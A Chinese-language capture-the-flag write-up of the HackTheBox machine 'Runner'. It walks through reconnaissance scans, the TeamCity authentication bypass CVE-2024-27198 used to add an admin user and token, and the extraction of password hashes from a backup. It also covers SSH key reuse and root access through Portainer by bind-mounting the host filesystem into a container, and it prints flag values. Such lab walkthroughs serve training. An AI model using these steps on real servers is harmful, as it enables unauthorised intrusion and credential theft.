Runner - hackthebox

简介

靶机名称:Runner

难度:中等

靶场地址:https://app.hackthebox.com/machines/598

本地环境

靶机IP :10.10.11.13

linux渗透机IP(kali 2024.2):10.10.16.17

windows渗透机IP(windows11):10.10.14.20

扫描

fscan起手

   ___                              _
  / _ \     ___  ___ _ __ __ _  ___| | __
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <
\____/     |___/\___|_|  \__,_|\___|_|\_\
                     fscan version: 1.8.4
start infoscan
10.10.11.13:80 open
10.10.11.13:22 open
10.10.11.13:8000 open
[*] alive ports len is: 3
start vulscan
[*] WebTitle http://10.10.11.13        code:302 len:154    title:302 Found 跳转url: http://runner.htb/
[*] WebTitle http://10.10.11.13:8000   code:404 len:9      title:None
已完成 3/3

端口上挺常规

HTTP

runner.htb加进hosts,访问

image-20240618232753702

爆破子域名

ffuf -w $HVV_Tool/8_dict/seclist/Discovery/DNS/subdomains-top1million-110000.txt -u http://runner.htb -H "Host: FUZZ.runner.htb" -fw 4

无内容

路径扫描

feroxbuster -u http://runner.htb/ -t 20 -w $HVV_Tool/8_dict/seclist/Discovery/Web-Content/directory-list-2.3-medium.txt -C 500 -d 3

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.10.3
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://runner.htb/
 🚀  Threads               │ 20
 📖  Wordlist              │ /home/kali/1_Tool/1_HVV/8_dict/seclist/Discovery/Web-Content/directory-list-2.3-medium.txt
 💢  Status Code Filters   │ [500]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.10.3
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 3
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200      GET        8l       28w     1391c http://runner.htb/assets/vendor/animateNumber/jquery.animateNumber.min.js                                                                        200      GET      148l      271w     3227c http://runner.htb/assets/js/theme.js                                                                                                             200      GET        6l       51w     3219c http://runner.htb/assets/img/clients/stripe.png                                                                                                  200      GET        6l       34w      785c http://runner.htb/assets/img/icon_pattern.svg                                                                                                    200      GET       11l       69w     4554c http://runner.htb/assets/img/clients/paypal.png                                                                                                  200      GET       12l       53w     4110c http://runner.htb/assets/img/clients/google.png                                                                                                  200      GET       21l       99w     6009c http://runner.htb/assets/img/clients/mailchimp.png                                                                                               200      GET        3l      148w     8155c http://runner.htb/assets/vendor/wow/wow.min.js                                                                                                   200      GET       15l       43w      399c http://runner.htb/assets/js/google-maps.js                                                                                                       200      GET        8l       86w     4172c http://runner.htb/assets/img/clients/airbnb.png                                                                                                  200      GET      104l      690w    48439c http://runner.htb/assets/img/bg_image_3.png                                                                                                      200      GET      150l      800w    63073c http://runner.htb/assets/img/bg_image_1.png                                                                                                      200      GET        7l      158w     9036c http://runner.htb/assets/vendor/waypoints/jquery.waypoints.min.js                                                                                200      GET      186l      505w     4744c http://runner.htb/assets/vendor/owl-carousel/css/owl.carousel.css                                                                                200      GET      391l     1284w    16910c http://runner.htb/index.html                                                                                                                     200      GET      168l      747w    76278c http://runner.htb/assets/img/person/person_2.jpg                                                                                                 200      GET      165l      944w    70922c http://runner.htb/assets/img/bg_image_2.png                                                                                                      200      GET     2634l     4410w    43679c http://runner.htb/assets/css/maicons.css                                                                                                         403      GET        7l       10w      162c http://runner.htb/assets/vendor/                                                                                                                 200      GET        2l     1297w    89476c http://runner.htb/assets/js/jquery-3.5.1.min.js                                                                                                  200      GET     2229l     3856w    43069c http://runner.htb/assets/css/theme.css                                                                                                           403      GET        7l       10w      162c http://runner.htb/assets/img/                                                                                                                    200      GET        7l      277w    44342c http://runner.htb/assets/vendor/owl-carousel/js/owl.carousel.min.js                                                                              301      GET        7l       12w      178c http://runner.htb/assets/img/blog => http://runner.htb/assets/img/blog/                                                                          200      GET     3623l     7939w    77758c http://runner.htb/assets/vendor/animate/animate.css                                                                                              403      GET        7l       10w      162c http://runner.htb/assets/js/                                                                                                                     200      GET      140l      744w    80227c http://runner.htb/assets/img/person/person_1.jpg                                                                                                 403      GET        7l       10w      162c http://runner.htb/assets/                                                                                                                        403      GET        7l       10w      162c http://runner.htb/assets/css/                                                                                                                    200      GET        7l     1029w    81084c http://runner.htb/assets/js/bootstrap.bundle.min.js                                                                                              301      GET        7l       12w      178c http://runner.htb/assets/img => http://runner.htb/assets/img/                                                                                    200      GET    10278l    20374w   198313c http://runner.htb/assets/css/bootstrap.css                                                                                                       200      GET      391l     1284w    16910c http://runner.htb/                                                                                                                               301      GET        7l       12w      178c http://runner.htb/assets => http://runner.htb/assets/                                                                                            301      GET        7l       12w      178c http://runner.htb/assets/css => http://runner.htb/assets/css/                                                                                    301      GET        7l       12w      178c http://runner.htb/assets/img/clients => http://runner.htb/assets/img/clients/                                                                    301      GET        7l       12w      178c http://runner.htb/assets/js => http://runner.htb/assets/js/                                                                                      301      GET        7l       12w      178c http://runner.htb/assets/vendor => http://runner.htb/assets/vendor/
301      GET        7l       12w      178c http://runner.htb/assets/fonts => http://runner.htb/assets/fonts/
[####################] - 29m   666132/666132  0s      found:39      errors:726
[####################] - 28m   220546/220546  129/s   http://runner.htb/
[####################] - 28m   220546/220546  129/s   http://runner.htb/assets/
[####################] - 28m   220546/220546  131/s   http://runner.htb/assets/fonts/

仅仅是一堆资源文件……

8000端口还要离谱,进去只会打印文字,路径只有两个而且无用

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.10.3
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://runner.htb:8000/
 🚀  Threads               │ 20
 📖  Wordlist              │ /home/kali/1_Tool/1_HVV/8_dict/seclist/Discovery/Web-Content/directory-list-2.3-medium.txt
 💢  Status Code Filters   │ [500]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.10.3
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 3
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        1l        2w        9c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET        1l        1w        9c http://runner.htb:8000/version
200      GET        1l        1w        3c http://runner.htb:8000/health

image-20240619122218057

cewl收集网页信息

回到主页上继续信息收集。这里使用cewl扫描网页来快速生成字典

cewl -w wordlist.txt -d 3 -m 5 http://runner.htb/

image-20240619123434304

然后再去用这个字典去爆路径和子域名,出现新的结果了!

❯ ffuf -w ./wordlist.txt -u http://runner.htb -H "Host: FUZZ.runner.htb" -fw 4

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://runner.htb
 :: Wordlist         : FUZZ: /home/kali/2_problem/1_pentest/HMV/airbind/wordlist.txt
 :: Header           : Host: FUZZ.runner.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response words: 4
________________________________________________

TeamCity                [Status: 401, Size: 66, Words: 8, Lines: 2, Duration: 379ms]

image-20240619123835445

这个teamcity版本不高,Version 2023.05.3 (build 129390),查了一下,msf上也有对应版本的rce

image-20240619124118876

image-20240619125146763

逃逸

根目录下有一个sh文件,一看才知道在我们在容器里面

image-20240619125421860

看了一圈感觉没啥东西,然后用想手动拖库和源码又感觉不太完整,想起来teamview还有备份的功能。

先用msf用CVE-2024-27198给自己加个用户进去看看

❯ python3 exploit.py -u http://teamcity.runner.htb/
[+] http://teamcity.runner.htb/    | Server Version: 2023.05.3 (build 129390)       |
CVE-2024-27198
[*] Total Users: 2
[*] User: admin, Name: John, ID: 1
[*] User: matthew, Name: Matthew, ID: 2
❯ python3 exploit.py -u http://teamcity.runner.htb/  --add-user
[+] User created successfully. Username: 1602ykhk, ID: 11, Password: gwymbKsnsN
[+] Token created successfully for user ID: 11. Token Name: ISx7lUA0uS, Token:
eyJ0eXAiOiAiVENWMiJ9.cU1sQTFGOFV5dDNIWTlwRlBSX2VpOC1oQzFz.NzFlYTVjYzAtZGEzNi00OGI4LTkwODQtM
GY2YWVlNDFlZTg3
[+] Internal properties modified successfully.

image-20240619133629962

随便创建一个项目,进入admin界面后能看见旁边的backup功能,点进去,选中所有模块,然后启动备份

image-20240619150706808

最后就会生成打包好的备份文件了

image-20240619150804696

下载下来,在user表里面找到账密信息

image-20240619151347984

ID, USERNAME, PASSWORD, NAME, EMAIL, LAST_LOGIN_TIMESTAMP, ALGORITHM
1, admin, $2a$07$neV5T/BlEDiMQUs.gM1p4uYl8xl8kvNUo4/8Aja2sAWHAQLWqufye, John, john@runner.htb, 1718779648859, BCRYPT
2, matthew, $2a$07$q.m8WQP8niXODv55lJVovOmxGtg6K/YPHbD48/JQsdGLulmeVo.Em, Matthew, matthew@runner.htb, 1709150421438, BCRYPT
11, bik4irci, $2a$07$DtUNcKV.5ypN3gF8DJcGK.fJXGkNv7XcjvOfYpFTUEAiJ4CTYZV3m, , bik4irci@example.com, 1718780080469, BCRYPT

admin的没查到,matthew用户的密码是piper123。bik那个是打RCE创建的临时用户,不算。

然后在项目文件夹的里面找到ssh私钥

image-20240619161217699

image-20240619161302414

使用该私钥成功登陆

ssh -i .\id_rsa john@10.10.11.13

image-20240619163021398

95ab2530fac81ba20e3d692dac91ef04

提权

先收集一波网络信息

══════════════════════════════╣ Network Information ╠══════════════════════════════
                              ╚═════════════════════╝
╔══════════╣ Hostname, hosts and DNS
runner
127.0.0.1 localhost
127.0.1.1 runner runner.htb teamcity.runner.htb portainer-administration.runner.htb

::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

nameserver 127.0.0.53
options edns0 trust-ad
search .

╔══════════╣ Interfaces
# symbolic names for networks, see networks(5) for more information
link-local 169.254.0.0
br-21746deff6ac: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1500
        inet 172.18.0.1  netmask 255.255.0.0  broadcast 172.18.255.255
        ether 02:42:aa:74:a9:be  txqueuelen 0  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

docker0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.17.0.1  netmask 255.255.0.0  broadcast 172.17.255.255
        inet6 fe80::42:9dff:fe00:bbdd  prefixlen 64  scopeid 0x20<link>
        ether 02:42:9d:00:bb:dd  txqueuelen 0  (Ethernet)
        RX packets 22883  bytes 21848447 (21.8 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 38716  bytes 49023954 (49.0 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.10.11.13  netmask 255.255.254.0  broadcast 10.10.11.255
        inet6 fe80::250:56ff:feb9:308f  prefixlen 64  scopeid 0x20<link>
        inet6 dead:beef::250:56ff:feb9:308f  prefixlen 64  scopeid 0x0<global>
        ether 00:50:56:b9:30:8f  txqueuelen 1000  (Ethernet)
        RX packets 63508  bytes 77365542 (77.3 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 31664  bytes 21682994 (21.6 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 18462  bytes 7610487 (7.6 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 18462  bytes 7610487 (7.6 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

veth63a3c08: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet6 fe80::c096:f8ff:fed9:17ff  prefixlen 64  scopeid 0x20<link>
        ether c2:96:f8:d9:17:ff  txqueuelen 0  (Ethernet)
        RX packets 22883  bytes 22168809 (22.1 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 38731  bytes 49025060 (49.0 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0


╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports
tcp        0      0 127.0.0.1:9443          0.0.0.0:*               LISTEN      -          
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -          
tcp        0      0 127.0.0.1:8111          0.0.0.0:*               LISTEN      -          
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -          
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -          
tcp        0      0 127.0.0.1:5005          0.0.0.0:*               LISTEN      -          
tcp        0      0 127.0.0.1:9000          0.0.0.0:*               LISTEN      -          
tcp6       0      0 :::8000                 :::*                    LISTEN      -          
tcp6       0      0 :::80                   :::*                    LISTEN      -          
tcp6       0      0 :::22                   :::*                    LISTEN      -          

这个portainer-administration.runner.htb让人非常感兴趣

image-20240619164551627

使用我们刚刚从数据库解密出来的matthew/piper123,成功登陆。

image-20240619164737570

docker挂载根目录越权

首先创建一个volume,这个device选项就是我们要挂载的路径

device: /
o: bind
type: none

img

记住随便一个image的ID值

sha256:ca2b0f26964cf2e80ba3e084d5983dab293fdb87485dc6445f3f7bbfc89d7459

img

然后创建一个新容器,相关参数如下

img

img

img

然后就可以创建了

img

等一会儿创建成功,就能使用控制台了。

img

img

d6097707a20c50e1c43c859eb7b9dc7c

结束

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值